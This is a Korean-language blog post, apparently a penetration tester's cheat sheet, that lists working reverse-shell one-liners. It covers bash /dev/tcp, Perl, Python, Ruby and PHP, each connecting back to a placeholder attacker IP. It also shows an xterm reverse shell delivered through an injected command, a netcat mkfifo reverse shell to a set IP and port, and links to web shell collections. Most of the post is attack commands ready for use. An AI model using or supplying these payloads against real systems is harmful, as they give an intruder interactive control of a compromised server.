1. Bash 쉘 스크립트
bash -i >& /dev/tcp/진단자 PC_IP/리스닝포트 0<&1
-i 옵션 : interactive 모드(대화형 모드)
>& : 표출 출력과 표준 에러를 /dev/tcp/진단자 PC_IP/리스닝 포트로 전송하겠다.
/dev/tcp : 디바이스 파일로 Bash에서 TCP 통신에 사용 -> 이를 이용하여 진단자 PC_IP/리스닝 포트에 연결
0<&1 : 원격지의 입력을 bash의 표준 입력으로 하겠다.
2. 스크립트 언어별 쉘 스크립트
perl -e 'use Socket;$ip="학습용 PC_IP";$port=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($port,inet_aton($ip)))){open(STDIN,">&S");open(STDOUT,">&S");exec("/bin/bash -i");};'
----------------------------------------------------------------------------------------
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",8080));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
----------------------------------------------------------------------------------------
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
3. 운영체제 명령이 실행 가능할 경우! (파일업로드 할 필요없이 리버스 쉘 가능)
php -r '$sock=fsockopen("attackerip",8080);exec("/bin/sh -i <&5 >&5 2>&5");'
- TCP가 5번 파일 설명자를 사용한다고 가정한 경우로 동작하지 않을 경우 3,4,5,6을 시도
4. xterm을 이용한 리버스 쉘
- OS Command Injection이 가능할 경우 시도
- "whereis xterm"을 쳐서 서버 내 xterm이 설치되어있는지 확인 (권한 등의 문제로 나타나지 않을 수 있으므로 "ls /usr/bin"도 한번 시도해볼만 하다.)
ex) rootable.com;whereis xterm
- xterm이 설치되어 있다면 테스터의 PC에 Xming을 설치한 뒤 아래의 리버스 쉘 명령어 입력
ex) rootable.com;xterm -display 테스터PC_IP:0.0
참고. 웹쉘 다운로드 사이트
- https://github.com/tdifg/WebShell
출처 : WEB HACKING 서버 침투 기법 (유현수 지음)
------------------------------------------------------------
2018.10.14 추가
* nc에서 e 옵션 없이 reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.69 1337 >/tmp/f
참고 ) https://shell.now.sh/192.168.0.69:1337
- 위의 주소로 들어가면 4가지 경우가 존재한다. 이때 192.168.0.69는 진단자의 IP로, 1337은 진단자의 서버에 nc -l 을 통해 리스닝하고 있는 포트를 넣어주면 된다.
'Hacking > Web' 카테고리의 다른 글
[root-me] XPath injection - string (0) | 2019.02.19 |
---|---|
Web Wargame Site (0) | 2019.01.13 |
Oracle WebLogic RCE Deserialization Vulnerability ( CVE-2018-2628 ) (0) | 2018.10.06 |
[root-me] File upload - ZIP (0) | 2018.07.01 |
S3 bucket 대응방안 (0) | 2018.06.04 |